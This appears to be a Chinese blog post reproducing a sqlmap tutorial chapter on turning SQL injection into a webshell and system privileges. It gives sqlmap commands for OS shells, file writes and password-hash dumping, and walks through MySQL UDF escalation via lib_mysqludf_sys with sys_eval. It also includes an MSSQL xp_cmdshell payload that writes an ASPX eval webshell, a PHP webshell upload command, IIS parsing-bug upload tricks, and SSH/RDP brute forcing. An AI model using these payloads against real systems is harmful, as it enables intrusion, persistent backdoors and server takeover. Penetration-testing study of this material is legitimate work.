zoukankan      html  css  js  c++  java
  • sqlmap从入门到精通-第四章-4-5 sqlmap注入获取webshell及系统权限研究

    4.5 sqlmap注入获取webshell及系统权限研究

    渗透思路千万条,只要有一条通往成功获取webshell的道路即可,所以不必一致纠结于必须要使用sqlmap

    4.5.1 sqlmap获取webshell及提权常见命令

    1. sqlmap常见获取webshell的相关命令

    (1) MSSQL判断是否是DBA权限

    --is-dba

    (2) 数据库交互模式shell

    --sql-shell

    (3) 操作系统交互命令

    --os-cmd=net user 这里一般是Windows的DOS命令或者Linux的终端命令

    (4) 文件读取和写入命令

    --file-read=RFILE  从后台数据库管理系统中读取文件

    --file-write=WFILE  编辑后端数据库管理系统上的本地文件WFILE

    --file-dest=DFILE  后端数据库管理系统写入文件的绝对路径

    (5) 数据库权限提升

    --priv-esc 数据库进程用户权限提升

    (6) meterpreter提权(作者说实际测试并未成功过,可以当作一个思路来记录)

    --os-pwn  获取一个OOB shell , meterpreter或者VNC

    --os-smbrelay 一键获取一个OOB shell ,meterpreter或者VNC

    --os-bof 存储过程缓冲区溢出利用

    (7) 获取数据库root账号密码及其他账号密码,sa权限用户获取当前MSSQL下用户密码

    --passwords 枚举数据库管理系统用户密码哈希值,程序会自动对密码进行破解,破解不了会列出hash让你自己破解

    2. MySQL数据库直接连接提权

    sqlmap.py -d mysql://root:root@xx.xx.xx.xx:3306/test --os-shell

    3. MySQL数据库sql-shell下UDF提权

    (1) 连接数据库

    sqlmap.py -d mysql://root:root@xx.xx.xx.xx:3306/test --sql-shell

    (2) 查看版本

    select @@version;

    (3) 查看插件目录

    select @@plugin_dir;

    (4) 操作sqlmap上传lib_mysqludf_sys到MySQL插件目录

    sqlmap.py -d mysql:root:root@xx.xx.xx.xx:3306/test --file-write=D:/tmp/lib_mysqludf_sys.dll --file-dest=D::\phpstudy\bin\mysql\libplugin\lib_mysqludf_sys.dll

    (5) 创建sys_exec函数

    CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

    (6) 创建sys_eval函数

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

    (7) 执行命令

    select sys_eval('ver');

    select sys_eval('whoami');

    select sys_eval('net user');

    4. MSSQL直连数据库

    1. 安装所需要的模块

    pip install pymssql

    pip install pyodbc

    apt-get install unixodbc -y

    按照上述安装,还是不成功,大家可以自己测试下,连接MSSQL数据库Windows下好多好用的连接工具

    2. 直连获取shell

    sqlmap -d mssql://sa:sa@192.168.91.131:1433/master --os-shell

    4.5.2 获取webshell或shell条件

    1. PHP+MySQL类型网站获取webshell

    (1) MySQL root账号权限,即配置MySQL连接的账号为root账号,不是root账号具备root权限也可

    (2) GPC配置关闭,能使用单引号

    (3) 有网站的绝对路径,且具备可以在文件夹写入文件的权限

    (4) 没有配置secure-file-priv属性

    2. MSSQL+ASP/ASP.net类型网站获取webshell条件

    (1) 数据库用户是sa

    (2) 能够创建xp_cmdshell

    (3) 知道真实路径

    (4) 可以通过echo命令生成shell

    ';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C: oolsfx.aspx';--

    4.5.3 获取webshell权限思路及命令

    1. PHP类型网站获取webshell权限思路

    (1) 获取os-shell

    sqlmap.py -u "http://www.xxx.com/index.php?id=2" --os-shell

    (2) 选择4PHP类型的语言

    (3) 物理路径的选择

    普通路径,指定路径,指定字典文件进行暴力破解,暴力搜索地址

    (4) 获取webshell

    在sqlmap中无法直接获取webshell,如果--os-shell整个命令执行完成,就会上传两个文件,sqlmap会给你提示上传的文件名,一个文件是后门文件,可以通过参数传递命令直接执行shell,另一个文件是文件上传功能页面,访问这个页面可以直接上传文件

    (5) PHP获取webshell难点

    在整个过程中获取网站的真实物理路径是最重要的,一般可以通过phpinfo函数,测试页面,及报错信息,搜素引擎,目录爆破的方式来获取网站的真实物理路径,如果获取到了管理员的账号,能够登录后台,如果后台有一些探针功能或者是系统运行情况的页面,那么也可以获取真实的物理路径,如果实在无法获取那只能暴力猜解或者社工等其他方式。

    2. 直接写入webshell到网站

    sqlmap.py -u "http://www.xxx.com/index.php?id=3" --file-write /opt/bmfx.php --file-dest /var/www/html/shell.php

    bmfx.php是攻击者本地文件,shell.php是上传到目标站点的文件名称

    3. os-shell下载文件执行

    4. 通过sqlmap连接MySQL获取shell

    5. 账号登录管理后台,寻找上传点

    (1) 后台直接上传webshell

    (2) 抓包构建绕过防护上传webshell

    (3) IIS 6 畸形文件漏洞绕过,即上传1.asp;jpg图片一句话

    (4) IIS 7 CGI解析漏洞,上传webshell图片文件,访问http://www.xxx.com/1.jpg/1.php

    (5) FCK文件两次上传获取webshell

    (6) 其他上传漏洞获取webshell

    4.5.4 获取system权限思路

    1. MSSQL和MySQL数据库获取system权限

    (1) 生成系统信息

    systeminfo > bmfx.txt

    (2) 使用windows-exploit-suggester.py 检查是否存在未打补丁的漏洞

    (3) 找到漏洞对应exp直接提权

    2. 直接获取system权限

    有些服务器是直接使用高权限启动服务,可以通过sqlmap直接获取系统权限

    3. 社工提权

    有些root/sa账号对应的数据库密码就是系统Windows/Linux系统的管理员密码

    4. 密码账号暴力破解

    通过前面获取到系统准确的账号信息,可以尝试SSH/RDP账号的暴力破解


     
  • 相关阅读:
    使用KNN算法手写体识别
    os内置模块
    python步长为负时的情况
    qplot()函数的详细用法
    python文件I/O
    python中 @property
    python中定制类
    python中多重继承与获取对象
    python继承,判断类型,多态
    python中访问限制
  • 原文地址:https://www.cnblogs.com/autopwn/p/13220983.html
Copyright © 2011-2022 走看看